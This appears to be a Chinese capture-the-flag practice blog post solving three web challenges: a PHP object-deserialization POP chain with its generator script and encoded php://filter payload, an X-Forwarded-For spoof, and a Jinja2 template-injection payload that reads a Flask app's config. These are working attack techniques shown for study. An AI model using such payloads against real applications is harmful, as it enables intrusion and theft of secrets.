[BT]BUUCTF刷题第16天(4.12)

第16天

Web

[MRCTF2020]Ezpop

打开网站就是一段泄露的源代码:

php 复制代码
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);                          //这里是得到flag的关键,需要包含flag.php
    }
    public function __invoke(){                   //当脚本尝试将对象调用为函数时触发
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){                  //创建对象时触发
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){                                   //当一个对象被当作一个字符串被调用
        return $this->str->source;                                  //在Payload中没有这个属性就会自动执行__get函数
    }

    public function __wakeup(){                                    //使用unserialize时触发
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){                                 //创建对象时触发
        $this->p = array();
    }

    public function __get($key){                                   //用于将数据写入不可访问的属性
        $function = $this->p;
        return $function();                                        //会将$this->p当作函数调用
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

这里直接给出思路:

GET方法对pop传值→触发unserialize函数→触发Show类的__wakeup→触发对象当作字符串用(通过preg_match)→触发__toString函数→触发调用不可读取属性(将$this->str声明为Test类)→触发__get函数→触发对象当作函数使用(将Test类中的属性p实例化为对象)→触发__invoke函数→调用append函数→执行文件包含flag.php

这里涉及到将类的对象当作属性,又将属性当作对象使用,因此比较复杂:

php 复制代码
<?php 
class Modifier { 
	protected $var="flag.php"; 
} 
class Show{ 
	public $source; 
	public $str; 
} 
class Test{ 
	public $p; 
} 
$a=new Show();                                 
$a->source=new Show();                              //把a的source属性声明为Show的对象
$a->source->str=new Test(); 
$a->source->str->p=new Modifier(); 
echo urlencode(serialize($a));                      //反序列化后会先调用Show类的__wakeup方法

执行结果:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

但是访问后返回:

尝试将$var="flag.php"修改成$var="php://filter/read=convert.base64-encode/resource=flag.php"

执行结果:O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

解码得flag

php 复制代码
<?php
class Flag{
    private $flag= "flag{58a467e0-42d9-484b-896c-81da20a8ad89}";
}
echo "Help Me Find FLAG!";
?>

[MRCTF2020]PYWebsite

直接F12可以看到关键源代码

php 复制代码
function enc(code){
      hash = hex_md5(code);
      return hash;
    }
    function validate(){
      var code = document.getElementById("vcode").value;
      if (code != ""){
        if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
          alert("您通过了验证!");
          window.location = "./flag.php"
        }else{
          alert("你的授权码不正确!");
        }
      }else{
        alert("请输入授权码");
      }
      
}

看到一个flag.php文件,访问后发现获取flag需要用到IP地址,推测是XFF

构造X-Forwarded-For:127.0.0.1即可拿到flag

[WesternCTF2018]shrine

网站泄露了Flask的源代码,存在SSTI注入模板漏洞

python 复制代码
import flask
import os
app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])
        + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

构造URL:/shrine/{``{url_for.__globals__}}

url_for.globals 是一个 Python 特性,它返回 url_for 函数所在模块的全局符号表。这个全局符号表是一个字典,包含了该模块中定义的所有全局变量、函数和类等

返回内容:

访问/shrine/{``{url_for.__globals__['current_app'].config}}
这里的config不会过滤 是因为是属性 所以不会过滤

成功拿到flag

相关推荐
slomay43 分钟前
关于对比学习(简单整理
经验分享·深度学习·学习·机器学习
hengzhepa1 小时前
ElasticSearch备考 -- Async search
大数据·学习·elasticsearch·搜索引擎·es
小小洋洋3 小时前
BLE MESH学习1-基于沁恒CH582学习
学习
网络研究院3 小时前
Android 安卓内存安全漏洞数量大幅下降的原因
android·安全·编程·安卓·内存·漏洞·技术
m0_689618284 小时前
水凝胶发生器,不对称设计妙,医电应用前景广
笔记
Ace'4 小时前
每日一题&&学习笔记
笔记·学习
IM_DALLA4 小时前
【Verilog学习日常】—牛客网刷题—Verilog进阶挑战—VL25
学习·fpga开发·verilog学习
挥剑决浮云 -4 小时前
Linux 之 安装软件、GCC编译器、Linux 操作系统基础
linux·服务器·c语言·c++·经验分享·笔记
丶Darling.4 小时前
LeetCode Hot100 | Day1 | 二叉树:二叉树的直径
数据结构·c++·学习·算法·leetcode·二叉树